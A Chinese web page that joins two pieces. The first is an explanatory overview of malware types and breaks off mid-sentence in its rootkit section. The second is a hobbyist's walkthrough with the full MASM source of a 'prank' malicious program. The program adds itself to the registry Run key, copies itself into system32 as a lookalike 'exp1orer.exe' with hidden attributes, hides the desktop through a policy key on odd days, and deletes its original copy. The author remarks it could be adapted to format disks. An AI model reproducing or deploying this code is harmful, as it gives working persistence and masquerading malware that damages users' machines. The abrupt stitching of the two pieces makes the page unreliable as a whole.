下面小编为大家整理了知己知彼 十种计算机恶意软件的本质完全解析(共含2篇),欢迎阅读与借鉴!同时,但愿您也能像本文投稿人“一粒彗星”一样,积极向本站投稿分享好文章。
从大量各种各样的专业术语、定义和专用名词中,找出和计算机恶意软件相关的部分是一件非常困难的事情,因此,为了保证下面分析的可靠性,我们首先要确定的就是将用于整篇文章的关键术语:
・ 恶意软件:所谓恶意软件指的是专门开发用于在没有获得用户许可的情况下潜入计算机或者给系统造成损害的软件。
・ 恶意代码:恶意代码指的是恶意的程序代码,是基于软件的应用程序,通常被称为恶意软件的有效部分。
・ 反恶意软件工具:这个概念包括了用来处理恶意软件的所有程序,不论它是用来进行实时保护,还是检测和删除现有的恶意软件。反病毒、反间谍软件应用和恶意软件扫描工具都属于反恶意软件工具的范畴。
关于恶意软件需要记住的一件重要事情就是,如同生物一样,它的首要目标是复制。至于破坏计算机系统、销毁数据或窃取敏感信息,都是次要的目标。
确定了相关的定义后,就让我们来看看目前流行的十种不同类型的恶意软件。
1. 臭名昭著的计算机病毒
计算机病毒是可以感染计算机的恶意软件,但它们需要其它方面的一些手段提供支持。一个真正的病毒可以通过某种形式的可执行代码从一台计算机传播到另一台。举例来说,病毒可以隐藏在电子邮件包含的PDF文件中。大多数病毒包括以下三个方面的功能:
・ 复制:一旦宿主程序被激活,病毒和病毒恶意代码进行的第一个操作就是传播。
・ 隐藏:计算机病毒可以采用多种方法隐藏起来,以防止被反恶意软件工具发觉。
・ 有效部分:对于病毒来说恶意代码的有效部分可以用来进行任何操作,从关闭计算机到销毁数据都是可以实现的操作。
W32.Sens.A、W32.Sality.AM和W32.Dizan.F就是目前比较流行的计算机病毒实例。大部分优秀的反病毒软件都可以在获得病毒特征码后将其清除。
2. 日益流行的计算机蠕虫
与病毒比起来,计算机蠕虫复杂的多,可以在没有经过用户许可的情况下进行复制。如果恶意软件利用网络(因特网)进行传播,它属于蠕虫的可能性比病毒大得多。蠕虫的主要组成部分是:
・ 入侵工具:利用受害人计算机的漏洞获取进入方式的恶意代码。
・ 安装工具:入侵工具让计算机蠕虫可以绕过系统的安全防护机制。接下来,安装工具就接管了控制权,并开始将恶意代码的主体传输到受害的计算机上。
・ 发现工具:一旦安装完毕,蠕虫就会开始使用几种不同的方法来查找网络上的其他计算机,这些方法包括了寻找电子邮件地址、主机列表以及进行DNS信息查询。
・ 扫描工具:蠕虫利用扫描工具来确认新发现的目标计算机中是否存在可以被入侵工具攻击的漏洞。
・ 有效部分:驻留在每个受害人计算机上的恶意代码,可以利用远程连接的应用从日志记录器那里获取用户名和密码。
自从1988年莫里斯蠕虫出现开始,这种类型已经成为恶意软件中数量最多的部分。直到今天,Conficker蠕虫还在四处感染计算机系统。
3. 未知的后门软件
后门软件类似我们当中的很多人一直在使用的远程访问程序。它们之所以被当着恶意软件,是因为在安装的时间没有经过使用者的容许,而这正是网络攻击者想做的事情。后门软件通常采用下面给出的安装模式:
・ 一种安装方法是利用目标计算机上的漏洞。
・ 另一种方法是通过社会工程的方法诱骗用户,让其在不知情的环境下安装后门软件。
一旦安装完成,后门软件就可以让攻击者通过远程访问攻击获得计算机的完全控制权,
常见的后门软件包括SubSeven、NetBus、深喉(Deep Throat)、Back Orifice以及Bionet等等。通常情况下,包括MBAM和GMER在内的恶意软件扫描工具可以成功地清除后门软件。
4. 神秘的特洛伊木马
很难找到比埃德・斯考迪斯和莱尼・泽来特在他们的作品《恶意软件的真相:我们应该怎样对抗恶意代码》中给出的关于特洛伊木马恶意软件更好的定义了:
“所谓特洛伊木马,就是指一种从表面上看起来包含了有用或好的功能,但实际上是为了掩盖恶意功能的程序。”
在安装的时间,特洛伊木马具有破坏性的有效部分会自动运行,并进行伪装,防止反恶意软件工具发现恶意代码的存在。下面列出的伪装技术就经常会被特洛伊木马采用:
・ 重命名:恶意软件会伪装成为常见的文件。
・ 暗中破坏:当系统中已经存在恶意软件的话,反恶意软件工具的安装往往是无法成功的。
・ 多态代码:对代码进行多态变换可以让恶意软件特征码的更新速度比防御软件的检索速度更快,可以达到隐藏自身的目的。
Vundo就是一个最好的例子;它可以欺骗反间谍软件,创建弹出的广告窗口,降低系统的性能,并干扰网页浏览活动。
5. 给人们带来大量烦恼的广告软件/间谍软件
广告软件指的是可以在未经用户许可的情况下创建弹出广告的软件。通常情况下,广告软件是作为一个组成部分安装在免费软件中的。除了非常讨人嫌以外,广告软件还会显著降低计算机的性能。
间谍软件指的是可以在使用者不知情的情况下从计算机上收集信息的软件。为什么阅读用户协议是非常重要的,就是因为间谍软件经常采用臭名昭著的自由软件作为有效载体。关于间谍软件最典型的例子就是,索尼BMG娱乐公司的光盘复制保护丑闻。
大部分反间谍软件都可以从计算机中快速找出未经许可的广告软件/间谍软件,并将它们删除。定期删除临时文件、Cookie和网络浏览器的历史记录,对网络浏览器进行预防性维护,听起来也不是一个坏主意。
恶意软件混合体
到目前为止,我们所讨论的所有类型恶意软件都具有明显的特征,归类起来很方便。但不幸的是,下面的情况就不一样了。为了提高攻击的成功率,恶意软件开发者已经发现获得最佳性能的方法是将不同类型的恶意软件结合起来。
Rootkits就是一个这样的例子,一个特洛伊木马和后门程序被封装在同一个载体中。这样的话,在使用的时间,攻击者就可以远程访问计算机,在不受怀疑的情况下完成整个攻击。Rootkits已经成为计算机面临的最大威胁之一了,因此,我们需要对它有一个深入的了解。
迥然不同的Rootkits
类似大多数的恶意软件,Rootkits选择的是在现有操作系统中进行改动而不是安装新的应用。这种方式是非常有效的,因为它让反恶意软件工具的监测变得非常困难。
rootkits包含了几种不同的类型,但目前比较流行的主要是三种类型。它们是用户模式、内核模式、和固件rootkit。在下面,我们先对用户模式和内核模式进行一下了解:
・ 用户模式:在该模式下,代码通过受限连接进入计算机,获取软件和硬件资源的使用权限。通常情况下,计算机上的大部分代码都运行在用户模式下。由于采用的是受限连接,在用户模式下造成的损害是可以恢复的。
・ 内核模式:在这种模式下,代码已经可以不受限制地控制计算机上所有的软件和硬件资源。通常情况下,内核模式是操作系统保留给最值得信赖功能的。在内核模式模式下造成的损害是不可恢复的。
6. 用户模式的rootkit
现在,我们知道了用户模式的rootkit可以和计算机系统管理员拥有相同的权限。这就意味着:
本来想写个“红色代码Ⅳ”,不过病毒的首要特征,例如API重定位,调用GetKBase 得到Kernel32.dll的基地址,然后再调用调用GetAPIz得到病毒所需要的API,在汇编上实现这些,目前对我来说有难度,在感染过程,要考虑到什么时候感染?感染什么?感染是病毒的核心技术,病毒野蛮地把预定的可执行代码插入到正常文件中,当文件执行的时候,先执行病毒代码,或者添加一些字节。在正常的PE文件中,包括执行代码,头文件信息,数据结构以及描述的各类资源信息,病毒感染文件的时候,并没有把这些也写进去,所以要自己搜索,具体的代码,目前还不能写,但是我会参照别人写的。在传播方面,目前倒是有一个利用邮件附件传播的,在创建Base64编码等方面,我略有缺陷。
病毒不能完整的写,起码也要来个半斤的,所以,就有了这个恶意程序的编写过程.说到恶意,其实也不恶,顶多是恶作剧,仅是修改了一些注册表,设置为启动,象征性删除一些文件。本来想加入日志钩子,事件发生时,创建一个shutdown进程恶搞,不过在加进去的模块对话框后,程序进入了一个死循环。
注:程序中有些代码使用了*号代替
在程序的开头,调用_createKey子程序设置了启动的键值:
szRegKey db ''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',0
szRegValue db ''StartPE'',0
szStr1 db “C:\WINDOWS\System32\*******.exe”
这些就是第一步所以设定的。在启动方式中,估计注册表Run启动是最脆弱的,复制到启动文件夹的话,又明显。最好的办法是创建远程线程,然后打开文件管理器 xplorer.exe插入,并且还能隐藏。有个例子是隐藏窗口进程的,桌面的窗口类是“Progman”,我想插进去rundll32.exe,无奈不知道它的类,所以将就些,把目标定位注册表启动,况且这个我掌握的也比较熟悉。
在开机后,我加入了判断本地时间后发作的代码:
invoke GetSystemTime,offset lpSystemTime
***** ebx,lpSystemTime.wDay
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||
(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)
||(ebx == 29)
在win32API 中,对GetSystemTime的描述是“在一个SYSTEMTIME中载入当前系统时间,这个时间采用的是‘协同世界时间’(即UTC,也叫做 GMT)格式”,参数只有一个“lpSystemTime”,并要定义一个“SYSTEMTIME”结构 “lpSystemTime SYSTEMTIME ”。如果今天是1,3,5,7,9……,27,29,那么程序在开机运行的时候,就对系统进行了如下操作:复制自己到系统目录 [注:这个系统目录,我定义成“szWin db ''C:\windows\system32\exp1orer.exe'',0”)所以在windows2000以下的系统,是不能复制的。
invoke GetModuleFileName,hModule,addr szDirectory,200
invoke CopyFile,addr szDirectory,addr szWin,FALSE
利用GetModuleFileName获取路径,然后调用CopyFile,复制到系统目录去。接着“call _AttribCmd”,调用了“_AttribCmd”这个子程序设置只读,隐藏属性。“_AttribCmd”代码描述如下:
_AttribCmd proc
invoke GetStartupInfo,addr stStartUp
invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
很显然,是调用了createProcess创建一个带szCmdAttrib参数的进程。这样,一些用命令参数的程序,可以这样编程来运行,例如 ping,首先设定变量“szCmd db ''c:\windows\system32\ping.exe IP -t'',0”,描述代码是:
.data
***** db ''c:\windows\system32\ping.exe IP -t'',0
.data?
stStartUp STARTUPINFO
stProcInfo PROCESS_INFORMATION
.code
start:
invoke GetStartupInfo,addr stStartUp
invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
end start
本来这里就到了全盘搜索exe文件进行感染的时候了,不过这个程序不是病毒,只能象征性搞些恶作剧,我这里是通过修改注册表达到隐藏桌面图表,估计MM是认为感染了病毒。
.data
szWriteKey db ''Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\'',0
szWriteValue db ''NoDesktop'',0 ;键值名称
szDword dd 1 ;数据
调用了子程序_WriteKey来完成:
_WriteKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\
REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_WriteKey endp
做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deleteFile,addr szDirectory”删除,然后也就退出了“invoke ExitProcess,NULL”虽然说恶意程序,但是破坏的地方不多。如果要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
includelib kernel32.lib
includelib ******.lib
includelib advapi32.lib
.data
szWin db ''C:\windows\system32\exp1orer.exe'',0
szCmdAttrib db ''attrib +R +H C:\windows\system32\exp1orer.exe'',0
szDirectory db 0
szRegKey db ''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',0
szRegValue db ''StartPE'',0
szStr1 db “C:\WINDOWS\System32\exp1orer.exe”
szWriteKey db ''Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\'',0
szWriteValue db ''NoDesktop'',0 ;键值名称
szDword dd 1 ;数据
.data?
hInstance dd ?
hModule dd ?
lpSystemTime SYSTEMTIME
osVersion OSVERSIONINFO
stStartUp STARTUPINFO
stProcInfo PROCESS_INFORMATION
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd proc
invoke GetStartupInfo,addr stStartUp
invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.*****
ret
_createKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WriteKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\
REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_WriteKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,0
mov hInstance,eax
invoke _createKey,NULL ;设置为启动
invoke GetSystemTime,offset lpSystemTime
movzx ebx,lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了,
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||
(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)
||(ebx == 29)
invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
invoke CopyFile,addr szDirectory,addr szWin,FALSE
call _AttribCmd
invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表
invoke deleteFile,addr szDirectory
invoke ExitProcess,NULL
.endif
end start
这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个“createProcess”,但是知道了一种调用方法,其他的也是千篇 一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关,呵呵!
注:本文内容有一定危险性,任何人不得利用本文技术做非法的事情。